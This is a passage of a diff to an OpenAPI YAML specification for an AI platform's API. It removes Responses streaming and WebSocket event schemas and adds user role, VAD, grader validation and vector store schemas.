+ ],
+ "has_more": false,
+ "next": null
}
- ResponseSteerPendingReason:
- title: ResponseSteerPendingReason
- description: |
- An extensible enum describing why accepted steering input is still queued.
- Clients should handle unknown values because additional reasons may be
- introduced. Known values include:
- - `waiting_for_required_input`: The response is waiting for the tool results or approval decisions identified by `required_input`.
- anyOf:
- - type: string
- enum:
- - waiting_for_required_input
- - type: string
- ResponseSteerRequiredInput:
- title: ResponseSteerRequiredInput
- description: |
- An input stub identifying an outstanding client-owned tool result or
- approval decision. Copy the stub and fill the result fields using the
- corresponding `response.create` input schema. Use saved results without
- rerunning the tool. The server does not supply results, approval decisions,
- or safety acknowledgements in these stubs.
- discriminator:
- propertyName: type
- anyOf:
- - type: object
- title: Required function tool call output
- additionalProperties: false
- description: |
- Supply `output` using the function tool call output input schema.
- properties:
- type:
- type: string
- enum:
- - function_call_output
- x-stainless-const: true
- call_id:
- type: string
- name:
- type: string
- required:
- - type
- - call_id
- - name
- - type: object
- title: Required custom tool call output
- additionalProperties: false
- description: |
- Supply `output` using the custom tool call output input schema. The
- original custom tool call supplies the tool's name.
- properties:
- type:
- type: string
- enum:
- - custom_tool_call_output
- x-stainless-const: true
- call_id:
- type: string
- required:
- - type
- - call_id
- - type: object
- title: Required computer tool call output
- additionalProperties: false
- description: |
- Supply `output` using the computer tool call output input schema,
- including any required `acknowledged_safety_checks`.
- properties:
- type:
- type: string
- enum:
- - computer_call_output
- x-stainless-const: true
- call_id:
- type: string
- required:
- - type
- - call_id
- - type: object
- title: Required shell tool call output
- additionalProperties: false
- description: |
- Supply `output` using the shell tool call output input schema. Each
- output entry includes `stdout`, `stderr`, and `outcome`.
- properties:
- type:
- type: string
- enum:
- - shell_call_output
- x-stainless-const: true
- call_id:
- type: string
- required:
- - type
- - call_id
- - type: object
- title: Required apply patch tool call output
- additionalProperties: false
- description: |
- Supply `status` and optional `output` using the apply patch tool call
- output input schema.
- properties:
- type:
- type: string
- enum:
- - apply_patch_call_output
- x-stainless-const: true
- call_id:
- type: string
- required:
- - type
- - call_id
- - type: object
- title: Required tool search output
- additionalProperties: false
- description: |
- Supply `tools` using the tool search output input schema, retaining
- `execution: "client"`.
- properties:
- type:
- type: string
- enum:
- - tool_search_output
- x-stainless-const: true
- call_id:
- type: string
- execution:
- type: string
- enum:
- - client
- x-stainless-const: true
- required:
- - type
- - call_id
- - execution
- - type: object
- title: Required MCP approval response
- additionalProperties: false
- description: |
- Supply `approve` using the MCP approval response input schema. An
- optional `reason` can be supplied when denying the request. The original
- approval request identifies the tool and server.
- properties:
- type:
- type: string
- enum:
- - mcp_approval_response
- x-stainless-const: true
- approval_request_id:
- type: string
- required:
- - type
- - approval_request_id
- ResponseStreamEvent:
- description: Event emitted while a response is streamed.
- anyOf:
- - $ref: '#/components/schemas/ResponseAudioDeltaEvent'
- - $ref: '#/components/schemas/ResponseAudioDoneEvent'
- - $ref: '#/components/schemas/ResponseAudioTranscriptDeltaEvent'
- - $ref: '#/components/schemas/ResponseAudioTranscriptDoneEvent'
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDeltaEvent'
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDoneEvent'
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallCompletedEvent'
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallInProgressEvent'
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallInterpretingEvent'
- - $ref: '#/components/schemas/ResponseCompletedEvent'
- - $ref: '#/components/schemas/ResponseContentPartAddedEvent'
- - $ref: '#/components/schemas/ResponseContentPartDoneEvent'
- - $ref: '#/components/schemas/ResponseCreatedEvent'
- - $ref: '#/components/schemas/ResponseErrorEvent'
- - $ref: '#/components/schemas/ResponseFileSearchCallCompletedEvent'
- - $ref: '#/components/schemas/ResponseFileSearchCallInProgressEvent'
- - $ref: '#/components/schemas/ResponseFileSearchCallSearchingEvent'
- - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDeltaEvent'
- - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDoneEvent'
- - $ref: '#/components/schemas/ResponseShellCallCommandAddedStreamingEvent'
- - $ref: '#/components/schemas/ResponseShellCallCommandDeltaStreamingEvent'
- - $ref: '#/components/schemas/ResponseShellCallCommandDoneStreamingEvent'
- - $ref: '#/components/schemas/ResponseShellCallOutputContentDeltaStreamingEvent'
- x-stainless-skip:
- - go
- - $ref: '#/components/schemas/ResponseShellCallOutputContentDoneStreamingEvent'
- - $ref: '#/components/schemas/ResponseInProgressEvent'
- - $ref: '#/components/schemas/ResponseFailedEvent'
- - $ref: '#/components/schemas/ResponseIncompleteEvent'
- - $ref: '#/components/schemas/ResponseOutputItemAddedEvent'
- - $ref: '#/components/schemas/ResponseOutputItemDoneEvent'
- - $ref: '#/components/schemas/ResponseReasoningSummaryPartAddedEvent'
- - $ref: '#/components/schemas/ResponseReasoningSummaryPartDoneEvent'
- - $ref: '#/components/schemas/ResponseReasoningSummaryTextDeltaEvent'
- - $ref: '#/components/schemas/ResponseReasoningSummaryTextDoneEvent'
- - $ref: '#/components/schemas/ResponseReasoningTextDeltaEvent'
- - $ref: '#/components/schemas/ResponseReasoningTextDoneEvent'
- - $ref: '#/components/schemas/ResponseRefusalDeltaEvent'
- - $ref: '#/components/schemas/ResponseRefusalDoneEvent'
- - $ref: '#/components/schemas/ResponseTextDeltaEvent'
- - $ref: '#/components/schemas/ResponseTextDoneEvent'
- - $ref: '#/components/schemas/ResponseWebSearchCallCompletedEvent'
- - $ref: '#/components/schemas/ResponseWebSearchCallInProgressEvent'
- - $ref: '#/components/schemas/ResponseWebSearchCallSearchingEvent'
- - $ref: '#/components/schemas/ResponseImageGenCallCompletedEvent'
- - $ref: '#/components/schemas/ResponseImageGenCallGeneratingEvent'
- - $ref: '#/components/schemas/ResponseImageGenCallInProgressEvent'
- - $ref: '#/components/schemas/ResponseImageGenCallPartialImageEvent'
- - $ref: '#/components/schemas/ResponseMCPCallArgumentsDeltaEvent'
- - $ref: '#/components/schemas/ResponseMCPCallArgumentsDoneEvent'
- - $ref: '#/components/schemas/ResponseMCPCallCompletedEvent'
- - $ref: '#/components/schemas/ResponseMCPCallFailedEvent'
- - $ref: '#/components/schemas/ResponseMCPCallInProgressEvent'
- - $ref: '#/components/schemas/ResponseMCPListToolsCompletedEvent'
- - $ref: '#/components/schemas/ResponseMCPListToolsFailedEvent'
- - $ref: '#/components/schemas/ResponseMCPListToolsInProgressEvent'
- - $ref: '#/components/schemas/ResponseOutputTextAnnotationAddedEvent'
- - $ref: '#/components/schemas/ResponseQueuedEvent'
- - $ref: '#/components/schemas/ResponseCustomToolCallInputDeltaEvent'
- - $ref: '#/components/schemas/ResponseCustomToolCallInputDoneEvent'
- discriminator:
- propertyName: type
- ResponseStreamOptions:
- anyOf:
- - description: |
- Options for streaming responses. Only set this when you set `stream: true`.
- type: object
- properties:
- include_obfuscation:
- type: boolean
- description: |
- When true, stream obfuscation will be enabled. Stream obfuscation adds
- random characters to an `obfuscation` field on streaming delta events to
- normalize payload sizes as a mitigation to certain side-channel attacks.
- These obfuscation fields are included by default, but add a small amount
- of overhead to the data stream. You can set `include_obfuscation` to
- false to optimize for bandwidth if you trust the network links between
- your application and the OpenAI API.
- - type: 'null'
- ResponseTextDeltaEvent:
+ UserListResponse:
type: object
- description: Emitted when there is an additional text delta.
properties:
- type:
+ object:
type: string
- description: |
- The type of the event. Always `response.output_text.delta`.
enum:
- - response.output_text.delta
+ - list
x-stainless-const: true
- item_id:
- type: string
- description: |
- The ID of the output item that the text delta was added to.
- output_index:
- type: integer
- description: |
- The index of the output item that the text delta was added to.
- content_index:
- type: integer
- description: |
- The index of the content part that the text delta was added to.
- delta:
- type: string
- description: |
- The text delta that was added.
- sequence_number:
- type: integer
- description: The sequence number for this event.
- logprobs:
+ data:
type: array
- description: |
- The log probabilities of the tokens in the delta.
items:
- $ref: '#/components/schemas/ResponseLogProb'
+ $ref: '#/components/schemas/User'
+ first_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ last_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ has_more:
+ type: boolean
required:
- - type
- - item_id
- - output_index
- - content_index
- - delta
- - sequence_number
- - logprobs
+ - object
+ - data
+ - has_more
+ UserRoleAssignment:
+ type: object
+ description: Role assignment linking a user to a role.
+ properties:
+ object:
+ type: string
+ enum:
+ - user.role
+ description: Always `user.role`.
+ x-stainless-const: true
+ user:
+ $ref: '#/components/schemas/User'
+ role:
+ $ref: '#/components/schemas/Role'
+ required:
+ - object
+ - user
+ - role
x-oaiMeta:
- name: response.output_text.delta
- group: responses
+ name: The user role object
example: |
{
- "type": "response.output_text.delta",
- "item_id": "msg_123",
- "output_index": 0,
- "content_index": 0,
- "delta": "In",
- "sequence_number": 1
+ "object": "user.role",
+ "user": {
+ "object": "organization.user",
+ "id": "user_abc123",
+ "name": "Ada Lovelace",
+ "email": "ada@example.com",
+ "role": "owner",
+ "added_at": 1711470000
+ },
+ "role": {
+ "object": "role",
+ "id": "role_01J1F8ROLE01",
+ "name": "API Group Manager",
+ "description": "Allows managing organization groups",
+ "permissions": [
+ "api.groups.read",
+ "api.groups.write"
+ ],
+ "resource_type": "api.organization",
+ "predefined_role": false
+ }
}
- ResponseTextDoneEvent:
+ UserRoleUpdateRequest:
+ type: object
+ properties:
+ role:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: '`owner` or `reader`'
+ role_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: Role ID to assign to the user.
+ technical_level:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: Technical level metadata.
+ developer_persona:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: Developer persona metadata.
+ VadConfig:
type: object
- description: Emitted when text content is finalized.
+ additionalProperties: false
+ required:
+ - type
properties:
type:
type: string
- description: |
- The type of the event. Always `response.output_text.done`.
enum:
- - response.output_text.done
- x-stainless-const: true
- item_id:
- type: string
- description: |
- The ID of the output item that the text content is finalized.
- output_index:
- type: integer
- description: |
- The index of the output item that the text content is finalized.
- content_index:
+ - server_vad
+ description: Must be set to `server_vad` to enable manual chunking using server side VAD.
+ prefix_padding_ms:
type: integer
- description: |
- The index of the content part that the text content is finalized.
- text:
- type: string
- description: |
- The text content that is finalized.
- sequence_number:
+ default: 300
+ description: "Amount of audio to include before the VAD detected speech (in \nmilliseconds).\n"
+ silence_duration_ms:
type: integer
- description: The sequence number for this event.
- logprobs:
- type: array
- description: |
- The log probabilities of the tokens in the delta.
- items:
- $ref: '#/components/schemas/ResponseLogProb'
- required:
- - type
- - item_id
- - output_index
- - content_index
- - text
- - sequence_number
- - logprobs
- x-oaiMeta:
- name: response.output_text.done
- group: responses
- example: |
- {
- "type": "response.output_text.done",
- "item_id": "msg_123",
- "output_index": 0,
- "content_index": 0,
- "text": "In a shimmering forest under a sky full of stars, a lonely unicorn named Lila discovered a hidden pond that glowed with moonlight. Every night, she would leave sparkling, magical flowers by the water's edge, hoping to share her beauty with others. One enchanting evening, she woke to find a group of friendly animals gathered around, eager to be friends and share in her magic.",
- "sequence_number": 1
- }
- ResponseTextParam:
+ default: 200
+ description: "Duration of silence to detect speech stop (in milliseconds).\nWith shorter values the model will respond more quickly, \nbut may jump in on short pauses from the user.\n"
+ threshold:
+ type: number
+ default: 0.5
+ description: "Sensitivity threshold (0.0 to 1.0) for voice activity detection. A \nhigher threshold will require louder audio to activate the model, and \nthus might perform better in noisy environments.\n"
+ ValidateGraderRequest:
type: object
- description: |
- Configuration options for a text response from the model. Can be plain
- text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
- - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
+ title: ValidateGraderRequest
properties:
- format:
- $ref: '#/components/schemas/TextResponseFormatConfiguration'
- verbosity:
- $ref: '#/components/schemas/Verbosity'
- ResponseUsage:
+ grader:
+ type: object
+ description: The grader used for the fine-tuning job.
+ anyOf:
+ - $ref: '#/components/schemas/GraderStringCheck'
+ - $ref: '#/components/schemas/GraderTextSimilarity'
+ - $ref: '#/components/schemas/GraderPython'
+ - $ref: '#/components/schemas/GraderScoreModel'
+ - $ref: '#/components/schemas/GraderMulti'
+ required:
+ - grader
+ ValidateGraderResponse:
type: object
- description: |
- Represents token usage details including input tokens, output tokens,
- a breakdown of output tokens, and the total tokens used.
+ title: ValidateGraderResponse
properties:
- input_tokens:
- type: integer
- description: The number of input tokens.
- input_tokens_details:
- type: object
- description: A detailed breakdown of the input tokens.
- properties:
- cached_tokens:
- type: integer
- description: |
- The number of tokens that were retrieved from the cache.
- [More on prompt caching](https://developers.openai.com/api/docs/guides/prompt-caching).
- cache_write_tokens:
- type: integer
- description: The number of input tokens that were written to the cache.
- required:
- - cached_tokens
- - cache_write_tokens
- output_tokens:
- type: integer
- description: The number of output tokens.
- output_tokens_details:
+ grader:
type: object
- description: A detailed breakdown of the output tokens.
- properties:
- reasoning_tokens:
- type: integer
- description: The number of reasoning tokens.
- required:
- - reasoning_tokens
- total_tokens:
+ description: The grader used for the fine-tuning job.
+ anyOf:
+ - $ref: '#/components/schemas/GraderStringCheck'
+ - $ref: '#/components/schemas/GraderTextSimilarity'
+ - $ref: '#/components/schemas/GraderPython'
+ - $ref: '#/components/schemas/GraderScoreModel'
+ - $ref: '#/components/schemas/GraderMulti'
+ VectorStoreExpirationAfter:
+ type: object
+ title: Vector store expiration policy
+ description: The expiration policy for a vector store.
+ properties:
+ anchor:
+ description: 'Anchor timestamp after which the expiration policy applies. Supported anchors: `last_active_at`.'
+ type: string
+ enum:
+ - last_active_at
+ x-stainless-const: true
+ days:
+ description: The number of days after the anchor time that the vector store will expire.
type: integer
- description: The total number of tokens used.
+ minimum: 1
+ maximum: 365
required:
- - input_tokens
- - input_tokens_details
- - output_tokens
- - output_tokens_details
- - total_tokens
- ResponseWebSearchCallCompletedEvent:
+ - anchor
+ - days
+ VectorStoreFileAttributes:
+ anyOf:
+ - type: object
+ description: |
+ Set of 16 key-value pairs that can be attached to an object. This can be
+ useful for storing additional information about the object in a structured
+ format, and querying for objects via API or the dashboard. Keys are strings
+ with a maximum length of 64 characters. Values are strings with a maximum
+ length of 512 characters, booleans, or numbers.
+ maxProperties: 16
+ propertyNames:
+ type: string
+ maxLength: 64
+ additionalProperties:
+ anyOf:
+ - type: string
+ maxLength: 512
+ - type: number
+ - type: boolean
+ x-oaiTypeLabel: map
+ - type: 'null'
+ VectorStoreFileBatchObject:
type: object
- description: Emitted when a web search call is completed.
+ title: Vector store file batch
+ description: A batch of files attached to a vector store.
properties:
- type:
+ id:
+ description: The identifier, which can be referenced in API endpoints.
+ type: string
+ object:
+ description: The object type, which is always `vector_store.file_batch`.
type: string
- description: |
- The type of the event. Always `response.web_search_call.completed`.
enum:
- - response.web_search_call.completed
+ - vector_store.files_batch
x-stainless-const: true
- output_index:
+ created_at:
+ description: The Unix timestamp (in seconds) for when the vector store files batch was created.
type: integer
- description: |
- The index of the output item that the web search call is associated with.
- item_id:
+ format: unixtime
+ vector_store_id:
+ description: The ID of the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) that the [File](https://developers.openai.com/api/reference/resources/files) is attached to.
type: string
- description: |
- Unique ID for the output item associated with the web search call.
- sequence_number:
- type: integer
- description: The sequence number of the web search call being processed.
+ status:
+ description: The status of the vector store files batch, which can be either `in_progress`, `completed`, `cancelled` or `failed`.
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - cancelled
+ - failed
+ file_counts:
+ type: object
+ properties:
+ in_progress:
+ description: The number of files that are currently being processed.
+ type: integer
+ completed:
+ description: The number of files that have been processed.
+ type: integer
+ failed:
+ description: The number of files that have failed to process.
+ type: integer
+ cancelled:
+ description: The number of files that where cancelled.
+ type: integer
+ total:
+ description: The total number of files.
+ type: integer
+ required:
+ - in_progress
+ - completed
+ - cancelled
+ - failed
+ - total
required:
- - type
- - output_index
- - item_id
- - sequence_number
+ - id
+ - object
+ - created_at
+ - vector_store_id
+ - status
+ - file_counts
x-oaiMeta:
- name: response.web_search_call.completed
- group: responses
+ name: The vector store files batch object
+ beta: true
example: |
{
- "type": "response.web_search_call.completed",
- "output_index": 0,
- "item_id": "ws_123",
- "sequence_number": 0
+ "id": "vsfb_123",
+ "object": "vector_store.files_batch",
+ "created_at": 1698107661,
+ "vector_store_id": "vs_abc123",
+ "status": "completed",
+ "file_counts": {
+ "in_progress": 0,
+ "completed": 100,
+ "failed": 0,
+ "cancelled": 0,
+ "total": 100
+ }
}
- ResponseWebSearchCallInProgressEvent:
+ VectorStoreFileContentResponse:
type: object
- description: Emitted when a web search call is initiated.
+ description: Represents the parsed content of a vector store file.
properties:
- type:
+ object:
type: string
- description: |
- The type of the event. Always `response.web_search_call.in_progress`.
enum:
- - response.web_search_call.in_progress
+ - vector_store.file_content.page
+ description: The object type, which is always `vector_store.file_content.page`
x-stainless-const: true
- output_index:
- type: integer
- description: |
- The index of the output item that the web search call is associated with.
- item_id:
- type: string
- description: |
- Unique ID for the output item associated with the web search call.
- sequence_number:
- type: integer
- description: The sequence number of the web search call being processed.
+ data:
+ type: array
+ description: Parsed content of the file.
+ items:
+ type: object
+ properties:
+ type:
+ type: string
+ description: The content type (currently only `"text"`)
+ text:
+ type: string
+ description: The text content
+ has_more:
+ type: boolean
+ description: Indicates if there are more content pages to fetch.
+ next_page:
+ anyOf:
+ - type: string
+ description: The token for the next page, if any.
+ - type: 'null'
required:
- - type
- - output_index
- - item_id
- - sequence_number
- x-oaiMeta:
- name: response.web_search_call.in_progress
- group: responses
- example: |
- {
- "type": "response.web_search_call.in_progress",
- "output_index": 0,
- "item_id": "ws_123",
- "sequence_number": 0
- }
- ResponseWebSearchCallSearchingEvent:
+ - object
+ - data
+ - has_more
+ - next_page
+ VectorStoreFileObject:
type: object
- description: Emitted when a web search call is executing.
+ title: Vector store files
+ description: A list of files attached to a vector store.
properties:
- type:
+ id:
+ description: The identifier, which can be referenced in API endpoints.
+ type: string
+ object:
+ description: The object type, which is always `vector_store.file`.
type: string
- description: |
- The type of the event. Always `response.web_search_call.searching`.
enum:
- - response.web_search_call.searching
+ - vector_store.file
x-stainless-const: true
- output_index:
+ usage_bytes:
+ description: The total vector store usage in bytes. Note that this may be different from the original file size.
type: integer
- description: |
- The index of the output item that the web search call is associated with.
- item_id:
- type: string
- description: |
- Unique ID for the output item associated with the web search call.
- sequence_number:
+ created_at:
+ description: The Unix timestamp (in seconds) for when the vector store file was created.
type: integer
- description: The sequence number of the web search call being processed.
+ format: unixtime
+ vector_store_id:
+ description: The ID of the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) that the [File](https://developers.openai.com/api/reference/resources/files) is attached to.
+ type: string
+ status:
+ description: The status of the vector store file, which can be either `in_progress`, `completed`, `cancelled`, or `failed`. The status `completed` indicates that the vector store file is ready for use.
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - cancelled
+ - failed
+ last_error:
+ anyOf:
+ - type: object
+ description: The last error associated with this vector store file. Will be `null` if there are no errors.
+ properties:
+ code:
+ type: string
+ description: One of `server_error`, `unsupported_file`, or `invalid_file`.
+ enum:
+ - server_error
+ - unsupported_file
+ - invalid_file
+ message:
+ type: string
+ description: A human-readable description of the error.
+ required:
+ - code
+ - message
+ - type: 'null'
+ chunking_strategy:
+ $ref: '#/components/schemas/ChunkingStrategyResponse'
+ description: The strategy used to chunk the file.
+ attributes:
+ $ref: '#/components/schemas/VectorStoreFileAttributes'
required:
- - type
- - output_index
- - item_id
- - sequence_number
+ - id
+ - object
+ - usage_bytes
+ - created_at
+ - vector_store_id
+ - status
+ - last_error
x-oaiMeta:
- name: response.web_search_call.searching
- group: responses
+ name: The vector store file object
+ beta: true
example: |
{
- "type": "response.web_search_call.searching",
- "output_index": 0,
- "item_id": "ws_123",
- "sequence_number": 0
+ "id": "file-abc123",
+ "object": "vector_store.file",
+ "usage_bytes": 1234,
+ "created_at": 1698107661,
+ "vector_store_id": "vs_abc123",
+ "status": "completed",
+ "last_error": null,
+ "chunking_strategy": {
+ "type": "static",
+ "static": {
+ "max_chunk_size_tokens": 800,
+ "chunk_overlap_tokens": 400
+ }
+ }
}
- ResponseWsError:
+ VectorStoreObject:
type: object
- title: ResponseWsError
- description: Emitted when an error occurs while processing a Responses WebSocket request.
+ title: Vector store
+ description: A vector store is a collection of processed files can be used by the `file_search` tool.
properties:
- type:
+ id:
+ description: The identifier, which can be referenced in API endpoints.
+ type: string
+ object:
+ description: The object type, which is always `vector_store`.
type: string
- description: The type of the event. Always `error`.
enum:
- - error
+ - vector_store
x-stainless-const: true
- status:
+ created_at:
+ description: The Unix timestamp (in seconds) for when the vector store was created.
type: integer
- description: The HTTP status code associated with a WebSocket protocol error.
- sequence_number:
+ format: unixtime
+ name:
+ description: The name of the vector store.
+ type: string
+ usage_bytes:
+ description: The total number of bytes used by the files in the vector store.
type: integer
- description: The sequence number of an error emitted by the response stream.
- error:
- $ref: '#/components/schemas/ErrorPayload'
- description: Details about the error.
- stream_id:
+ file_counts:
+ type: object
+ properties:
+ in_progress:
+ description: The number of files that are currently being processed.
+ type: integer
+ completed:
+ description: The number of files that have been successfully processed.
+ type: integer
+ failed:
+ description: The number of files that have failed to process.
+ type: integer
+ cancelled:
+ description: The number of files that were cancelled.
+ type: integer
+ total:
+ description: The total number of files.
+ type: integer
+ required:
+ - in_progress
+ - completed
+ - failed
+ - cancelled
+ - total
+ status:
+ description: The status of the vector store, which can be either `expired`, `in_progress`, or `completed`. A status of `completed` indicates that the vector store is ready for use.
type: string
- description: |
- The WebSocket lane that emitted this event. This field is present when the
- originating `response.create` event supplied a `stream_id`.
+ enum:
+ - expired
+ - in_progress
+ - completed
+ expires_after:
+ $ref: '#/components/schemas/VectorStoreExpirationAfter'
+ expires_at:
+ anyOf:
+ - description: The Unix timestamp (in seconds) for when the vector store will expire.
+ type: integer
+ format: unixtime
+ - type: 'null'
+ last_active_at:
+ anyOf:
+ - description: The Unix timestamp (in seconds) for when the vector store was last active.
+ type: integer
+ format: unixtime
+ - type: 'null'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
required:
- - type
- - error
- x-oaiMeta:
- name: error
- group: responses
- example: |
- {
- "type": "error",
- "status": 400,
- "stream_id": "agent_1",
- "error": {
- "type": "invalid_request_error",
- "code": "websocket_stream_limit_reached",
- "message": "This WebSocket connection has reached its stream limit.",
- "param": "stream_id"
- }
- }
- ResponsesClientEvent:
- discriminator:
- propertyName: type
- description: |
- Client events accepted by the Responses WebSocket server.
- anyOf:
- - $ref: '#/components/schemas/ResponsesClientEventResponseCreate'
- - $ref: '#/components/schemas/ResponseSteerEvent'
- ResponsesClientEventResponseCreate:
- allOf:
- - type: object
- properties:
- type:
- type: string
- enum:
- - response.create
- description: |
- The type of the client event. Always `response.create`.
- x-stainless-const: true
- stream_id:
- type: string
- minLength: 1
- maxLength: 256
- pattern: ^[A-Za-z0-9_.-]+$
- description: |
- The WebSocket lane for this response. Requests with the same
- `stream_id` are processed FIFO, and events for the response echo the
- same `stream_id`.
-
- `stream_id` controls routing; `previous_response_id` controls
- conversation lineage, so a new lane can fork from a response created
- on another lane.
- required:
- - type
- - $ref: '#/components/schemas/CreateResponse'
- description: |
- Client event for creating a response over a persistent WebSocket connection.
- This payload uses the same top-level fields as `POST /v1/responses`, plus
- WebSocket-only envelope metadata.
-
- Notes:
- - `stream` is implicit over WebSocket and should not be sent.
- - `background` is not supported over WebSocket.
- - `stream_id` is WebSocket-only and is not part of `POST /v1/responses`.
+ - id
+ - object
+ - usage_bytes
+ - created_at
+ - status
+ - last_active_at
+ - name
+ - file_counts
+ - metadata
x-oaiMeta:
+ name: The vector store object
example: |
{
- "type": "response.create",
- "stream_id": "agent_1",
- "model": "gpt-6-astra",
- "input": "Say hello."
+ "id": "vs_123",
+ "object": "vector_store",
+ "created_at": 1698107661,
+ "usage_bytes": 123456,
+ "last_active_at": 1698107661,
+ "name": "my_vector_store",
+ "status": "completed",
+ "file_counts": {
+ "in_progress": 0,
+ "completed": 100,
+ "cancelled": 0,
+ "failed": 0,
+ "total": 100
+ },
+ "last_used_at": 1698107661
}
- ResponsesServerEvent:
- discriminator:
- propertyName: type
- description: |
- Server events emitted by the Responses WebSocket server.
- anyOf:
- - title: ResponseAudioWsDelta
- description: Emitted when there is a partial audio response.
- allOf:
- - $ref: '#/components/schemas/ResponseAudioDeltaEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseAudioWsDone
- description: Emitted when the audio response is complete.
- allOf:
- - $ref: '#/components/schemas/ResponseAudioDoneEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseAudioTranscriptWsDelta
- description: Emitted when there is a partial transcript of audio.
- allOf:
- - $ref: '#/components/schemas/ResponseAudioTranscriptDeltaEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseAudioTranscriptWsDone
- description: Emitted when the full audio transcript is completed.
- allOf:
- - $ref: '#/components/schemas/ResponseAudioTranscriptDoneEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseCodeInterpreterCallCodeWsDelta
- description: Emitted when a partial code snippet is streamed by the code interpreter.
- allOf:
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDeltaEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseCodeInterpreterCallCodeWsDone
- description: Emitted when the code snippet is finalized by the code interpreter.
- allOf:
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDoneEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseCodeInterpreterCallWsCompleted
- description: Emitted when the code interpreter call is completed.
- allOf:
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallCompletedEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseCodeInterpreterCallInWsProgress
- description: Emitted when a code interpreter call is in progress.
- allOf:
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallInProgressEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseCodeInterpreterCallWsInterpreting
- description: Emitted when the code interpreter is actively interpreting the code snippet.
- allOf:
- - $ref: '#/components/schemas/ResponseCodeInterpreterCallInterpretingEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseWsCompleted
- description: Emitted when the model response is complete.
- allOf:
- - $ref: '#/components/schemas/ResponseCompletedEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseContentPartWsAdded
- description: Emitted when a new content part is added.
- allOf:
- - $ref: '#/components/schemas/ResponseContentPartAddedEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseContentPartWsDone
- description: Emitted when a content part is done.
- allOf:
- - $ref: '#/components/schemas/ResponseContentPartDoneEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseWsCreated
- description: |
- An event that is emitted when a response is created.
- allOf:
- - $ref: '#/components/schemas/ResponseCreatedEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseFileSearchCallWsCompleted
- description: Emitted when a file search call is completed (results found).
- allOf:
- - $ref: '#/components/schemas/ResponseFileSearchCallCompletedEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseFileSearchCallInWsProgress
- description: Emitted when a file search call is initiated.
- allOf:
- - $ref: '#/components/schemas/ResponseFileSearchCallInProgressEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseFileSearchCallWsSearching
- description: Emitted when a file search is currently searching.
- allOf:
- - $ref: '#/components/schemas/ResponseFileSearchCallSearchingEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseFunctionCallArgumentsWsDelta
- description: Emitted when there is a partial function-call arguments delta.
- allOf:
- - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDeltaEvent'
- - type: object
- properties:
- stream_id:
- type: string
- description: |
- The WebSocket lane that emitted this event. This field is present
- when the originating `response.create` event supplied a
- `stream_id`.
- - title: ResponseFunctionCallArgumentsWsDone
- description: Emitted when function-call arguments are finalized.
- allOf:
- - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDoneEvent'
